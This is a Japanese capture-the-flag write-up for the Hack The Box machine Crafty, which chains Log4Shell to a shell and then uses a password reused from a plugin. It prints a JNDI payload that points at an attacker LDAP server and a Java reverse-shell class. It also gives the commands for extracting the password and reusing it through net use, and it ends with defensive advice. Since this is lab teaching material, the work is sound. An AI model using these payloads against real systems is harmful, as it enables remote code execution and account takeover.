Hack The BoxのWriteup(Crafty)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Crafty — 全実行コマンド・実行結果レポート
Nmap スキャン
80/IIS, 25565/Minecraft 1.16.5
→
脆弱性特定
CVE-2021-44228 Log4Shell
→
自作LDAP+HTTPサーバー
JNDI codebase リダイレクト
→
Exploit.class (Java8)
チャット経由で発火
→
svc_minecraft シェル
user.txt ✓
→
playercounter プラグイン
jarを抽出しバイトコード解析
→
平文パスワード発見
s67u84zKq8IXw
→
net use administrator → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポートスキャン & バージョンスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.230.193
nmap -sV -sC -p 80,25565 10.129.230.193
RESULT
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
重要発見: 25565/tcp で Minecraft 1.16.5 サーバーが稼働中。 このバージョンは標準で Log4j 2.x(Log4Shell, CVE-2021-44228)に対して脆弱なことで知られる。 80番は IIS で http://crafty.htb へリダイレクトするのみの単純な会社サイト(実際の侵入経路ではない)。

vhost追加 & Webサイト確認(参考情報)

BASH
echo "10.129.230.193  crafty.htb" | sudo tee -a /etc/hosts
curl -s http://crafty.htb/ | head -c 500
RESULT
<title>Crafty - Official Website</title>
...<div class="items">
  <a href="/coming-soon" class="item forums">...<!-- Minecraft サーバーの公式案内ページ -->
PHASE 2

脆弱性調査 — Log4Shell (CVE-2021-44228)

Log4Shell の悪用メカニズム

NOTE
Minecraft 1.16.5 サーバーは Log4j 2.x を使ってチャットメッセージ等のログを
出力する。Log4j の "%m"(メッセージ文字列)がログフォーマット中に含まれる場合、
メッセージ文字列内の
    ${jndi:ldap://<攻撃者サーバー>:<port>/<name>}
というパターンがログ出力時に Lookup 構文として解釈され、記載された
LDAPサーバーへ問い合わせを行う。

攻撃者が自前のLDAPサーバーを用意し、応答として
  javaCodeBase = http://<攻撃者HTTPサーバー>/
  javaFactory  = Exploit
を持つ javaNamingReference を返すと、サーバーVM(JNDI経由)が
指定のHTTPサーバーからクラスファイルをダウンロード・ロードし、
static初期化ブロックが即座に実行される。
→ これにより任意のJavaコード(=実質任意コマンド実行)が可能になる。

Minecraft の場合、プレイヤーがチャットに入力した文字列がそのままサーバーログへ
記録されるため、認証不要でチャット欄に payload を送るだけでトリガーできる。
🚨
Minecraft 1.16.5 は Log4Shell 発覚直後の公式パッチ未適用バージョンで広く知られる脆弱構成。 オフラインモードのサーバーであれば、正規のMojangアカウント認証なしで任意のユーザー名でログインしチャット送信が可能。
PHASE 3

Log4Shellエクスプロイトの自作構築

リバースシェル用 Java クラスの作成(Java 8 でコンパイル必須)

NOTE
Minecraft 1.16.5 サーバーは Java 8 で動作していることが多く、JVMの
クラスファイル major version は実行環境と互換性が必要。
javac --release 11 でコンパイルすると major=55 となり、Java 8 側では
UnsupportedClassVersionError が発生してstatic初期化ブロックが
一切実行されないまま静かに失敗する(例外は投げられるがログに
出ないことが多く、原因特定が難しい)。
→ 必ず javac --release 8 を使う。

また、Java 8 はラムダ式のクラスロードに invokedynamic/LambdaMetafactory
を要求するため、JNDIで動的ロードしたクラス単体では解決できず失敗しやすい。
→ ラムダ式ではなく匿名 Runnable クラス(new Runnable(){...})で記述する。
PYTHON (Exploit.java の生成)
import java.io.*;
import java.net.*;
public class Exploit {
    static {
        try {
            final String host = "10.10.15.200";   // Kali (リスナー)
            final int port = 4460;
            Thread t = new Thread(new Runnable() {
                public void run() {
                    try {
                        Socket s = new Socket(host, port);
                        Process p = Runtime.getRuntime().exec("cmd.exe");
                        // stdin/stdout/stderr を3本の匿名Runnableスレッドで
                        // ソケットとプロセスの間に相互中継する
                        ...
                    } catch(Exception e) {}
                }
            });
            t.setDaemon(false);
            t.start();
        } catch(Exception ignored) {}
    }
}
BASH
javac --release 8 Exploit.java
RESULT
警告: [options] ソース値8は廃止されていて、今後のリリースで削除される予定です(無視してよい)
Exploit.class 生成完了 (500 bytes)
Exploit$1.class / Exploit$1$1.class / Exploit$1$2.class / Exploit$1$3.class も付随生成
⚠️
匿名 Runnable を3重にネストしているため、内部クラスが Exploit$1.class、Exploit$1$1.class…と連番生成される。 これら全てをHTTPサーバーから配布しないとターゲット側のクラスロードが途中で失敗する。

自前 LDAP サーバー(JNDI codebase リダイレクト)

PYTHON(BER応答の要点)
# LDAP BindRequest(0x60)/SearchRequest(0x63) どちらにも対応し、
# SearchResultEntry で javaCodeBase 属性を返すだけの最小実装。
def _ldap_search_entry(msg_id, code_base, factory):
    # javaClassName / javaCodeBase / objectClass=javaNamingReference / javaFactory
    # を含む LDAP SearchResultEntry (タグ 0x64) を手組みBERで生成
    ...

# メッセージID (msg_id) は BERパケットの先頭 SEQUENCE 直後、
# INTEGER タグ(0x02)の値部分。長さフィールドが long-form(0x80ビット立つ)か
# short-form かで読み出し開始位置が変わる点に注意。
BASH
# LDAP(1390) + HTTP(8090) + リバースシェルリスナー(4460)を同時起動
python3 manual_exploit.py
RESULT
[*] HTTP server on :8090 serving ./crafty/
[*] LDAP server listening on 1390, codebase=http://10.10.15.200:8090/
[*] reverse shell listener on :4460
PHASE 4

Minecraftチャット経由でエクスプロイト発火 & user.txt 取得

Minecraftプロトコルでログインしチャット送信

NOTE
Minecraft 1.16.5(プロトコル754)に生ソケットで接続し、
  Handshake(0x00, state=2=Login) → Login Start(0x00, username="log4player")
を送信。サーバーからの Login Success(0x02) を待つが、その前に
Set Compression(0x03) パケットが来ることがあるため、以後の全パケットは
圧縮形式([Data Length VarInt][PacketID][Data]、Data Length=0ならば非圧縮)
で読み直す必要がある。

ログイン後すぐにチャットを送ると発火前にサーバー側の初期化が終わっていない
ことがあるため、Play状態のパケットを3秒ほど読み捨てて待つ。
その後 Chat Message パケット(0x03) に JNDI payload を文字列として積んで送信、
送信後も5秒ほど接続を保持してサーバー側の非同期ログ処理を完了させる。
PYTHON
jndi = "${jndi:ldap://10.10.15.200:1390/o=reference}"
send_jndi("10.129.230.193", 25565, jndi, proto=754)
RESULT
[*] logged_in=True compression=True
[*] sending chat with JNDI payload: ${jndi:ldap://10.10.15.200:1390/o=reference}
[*] LDAP request from ('10.129.230.193', 49695), tag=0x60
[+] LDAP reference sent (javaCodeBase redirect)
[+] served Exploit.class (500 bytes) to ('10.129.230.193', 49696)
[+] served Exploit$1.class (1176 bytes) to ('10.129.230.193', 49697)
[+] connection from ('10.129.230.193', 49698)
[+] served Exploit$1$1.class / Exploit$1$2.class / Exploit$1$3.class ...
✅
発火確認。 ターゲットのMinecraftサーバーが、サーバー自身のLDAPクライアント経由で こちらの偽LDAPサーバーに問い合わせ→javaCodeBase参照→HTTP経由でExploit.class一式をダウンロード →static初期化ブロック実行、という流れが実際に発生し、リバースシェルが返ってきた。

シェル確認 & user.txt 取得

BASH
whoami
type C:\Users\svc_minecraft\Desktop\user.txt
RESULT
c:\users\svc_minecraft\server>whoami
crafty\svc_minecraft

c:\users\svc_minecraft\server>type C:\Users\svc_minecraft\Desktop\user.txt
4f636d0893b6c0fd18c9ef801e32bee4
user.txt — crafty\svc_minecraft
4f636d0893b6c0fd18c9ef801e32bee4
PHASE 5

権限昇格調査 — playercounterプラグインから平文パスワード抽出

サーバーディレクトリのプラグイン探索

BASH
dir /s /b C:\Users\svc_minecraft\server\plugins\*.jar
RESULT
C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
ℹ️
自作と思われるプラグイン「プレイヤー数カウンター」。クラス名に net.kronos.rkon.core.Rcon(RCON = Minecraft Remote Console プロトコルのクライアントライブラリ) を含んでおり、RCON接続用のパスワードがどこかにハードコードされている可能性が高い。

jarをユーザー書込み可能ディレクトリへコピーし展開

BASH
copy "C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar" C:\Users\svc_minecraft\pc.zip
powershell -c "Expand-Archive -Path C:\Users\svc_minecraft\pc.zip -DestinationPath C:\Users\svc_minecraft\pc_extracted -Force"
dir /s /b C:\Users\svc_minecraft\pc_extracted\*.class
RESULT
1 file(s) copied.

C:\Users\svc_minecraft\pc_extracted\htb\crafty\playercounter\Playercounter.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\Rcon.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\RconPacket.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\ex\AuthenticationException.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\ex\MalformedPacketException.class
ℹ️
jar は zip 形式そのものなので、拡張子を .zip に変えてコピーするだけで PowerShell 標準の Expand-Archive がそのまま展開できる(別途ツール不要)。

Playercounter.class をローカルへ取り出し、定数プールの文字列を解析

NOTE
PowerShellのインライン -c ワンライナーは cmd.exe → PowerShell と2重解釈される
際にクォートが崩れて失敗しやすい(本検証でも一度失敗した)。代わりに
certutil -encode でファイルをBase64テキスト化し、type で標準出力へ流して
こちら側でBase64デコードする方法が、クォート崩れの心配がなく確実。

ただし C:\windows\temp 配下に certutil -encode の出力を書いた場合、
svc_minecraft 自身の type でも "Access is denied" となるケースがあった
(ACL/リダイレクタの影響と見られる)。自分のホームディレクトリ
(C:\Users\svc_minecraft\) 配下に出力すれば問題なく読み出せる。
BASH
certutil -encode C:\Users\svc_minecraft\pc_extracted\htb\crafty\playercounter\Playercounter.class C:\Users\svc_minecraft\pcc.b64
type C:\Users\svc_minecraft\pcc.b64
RESULT(抜粋・Base64デコード後の定数プール文字列)
...
(定数プール内) "127.0.0.1"
(定数プール内) "s67u84zKq8IXw"
(定数プール内) "net/kronos/rkon/core/Rcon"
...
PYTHON(ローカル側の抽出処理)
class_bytes = base64.b64decode(b64_data)
text = class_bytes.decode("latin1")
tokens = re.findall(r"[A-Za-z0-9_\-\.]{8,30}", text)
# 英大文字+英小文字+数字を全て含むトークンだけに絞り込む
candidates = [t for t in tokens if re.search(r"[A-Z]",t) and re.search(r"[a-z]",t) and re.search(r"[0-9]",t)]
print(candidates)   # → ['s67u84zKq8IXw']
✅
パスワード発見。 .class ファイルはコンパイル時に文字列リテラルを 平文のまま定数プールに保持するため、逆コンパイルすら不要で、 バイト列からASCII文字列を拾うだけでRCON接続文字列 "127.0.0.1" の直後に パスワード s67u84zKq8IXw が隠されていることが分かった。
PHASE 6

net use administrator → root.txt

パスワード使い回しの確認

NOTE
RCON接続パスワード(本来はMinecraftサーバーのリモートコンソール専用)が、
OSアカウント crafty\administrator のログオンパスワードとしても
そのまま使い回されていた、という典型的な認証情報の流用パターン。
BASH
net use \\127.0.0.1\c$ s67u84zKq8IXw /user:crafty\administrator
RESULT
net use \\127.0.0.1\c$ s67u84zKq8IXw /user:crafty\administrator
The command completed successfully.
✅
認証成功。 crafty\administrator として SMB 経由で C$ 共有に認証できた。

UNCパス経由で root.txt を直接読み出し

BASH
type \\127.0.0.1\c$\Users\Administrator\Desktop\root.txt
RESULT
type \\127.0.0.1\c$\Users\Administrator\Desktop\root.txt
5e4f897f734a503b1bcbf0d7e76a94ff
ℹ️
net use で一度認証済みのホスト・共有に対しては、type \\host\share\... のようにドライブ文字へマウントしなくても UNC パスへ直接 type するだけで読み出せた。 (環境・Windowsビルドによってはcopy系コマンドのみUNC直接操作が拒否され、 ドライブ文字へのマッピング(net use Z: ... → type Z:\...)が 必要になるケースも報告されているため、UNC直接読み取りが失敗する場合はこちらを試すとよい。)
root.txt — Administrator@crafty
5e4f897f734a503b1bcbf0d7e76a94ff
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — crafty\svc_minecraft
4f636d0893b6c0fd18c9ef801e32bee4
root.txt — Administrator@crafty
5e4f897f734a503b1bcbf0d7e76a94ff

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2021-44228
(Log4Shell)
Minecraft 1.16.5 サーバー (Log4j 2.x) 未認証リモートコード実行 Critical チャットメッセージに ${jndi:ldap://...} を送信、偽LDAP+HTTPサーバーでJavaクラスをロードさせ任意コード実行
ハードコード認証情報 playercounter-1.0-SNAPSHOT.jar (自作プラグイン) 権限昇格 (svc_minecraft → administrator) Medium .classファイルの定数プールに平文で埋め込まれたRCONパスワードが、OS administratorパスワードとしても使い回されていた

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン80(IIS)/25565(Minecraft 1.16.5)を検出
2脆弱性調査バージョンからLog4Shell該当を特定CVE-2021-44228 の適用可能性を確認
3エクスプロイト構築Java8リバースシェルクラス自作 + 自前LDAP/HTTPサーバー実装Exploit.class 一式 + JNDI codebase配信基盤
4発火Minecraftプロトコルでログイン→チャット送信user.txt 取得(svc_minecraft シェル)
5パスワード抽出jar展開 + .classバイナリの定数プール文字列解析administrator共通パスワード s67u84zKq8IXw
6権限昇格net use administrator + UNC経由typeroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
Minecraftサーバーが脆弱な Log4j 2.x を含むバージョンで稼働し続けている Log4j を 2.17.1 以降へアップデート、または起動オプションに -Dlog4j2.formatMsgNoLookups=true を付与してLookup機能自体を無効化する。 サーバーをインターネットから隔離し、信頼できるプレイヤーのみに限定する。
サーバーサイドで任意の外部LDAP/JNDI参照を許可してしまう実行環境構成 アウトバウンドLDAP/RMI通信をファイアウォールで制限、JEP 290等のJava側の 逆直列化フィルタリング機構を有効化する。
自作プラグインの .class ファイルに RCON パスワードを平文でハードコード 機密情報はソースコード・バイトコードに埋め込まず、環境変数や外部の シークレット管理(Vault等)から読み込む設計にする。
アプリケーション用パスワード(RCON)をOS管理者アカウントのパスワードと共通化 用途ごとに異なる認証情報を発行し、パスワードの使い回しを組織的に禁止する。
HackTheBox: Crafty | 完全攻略レポート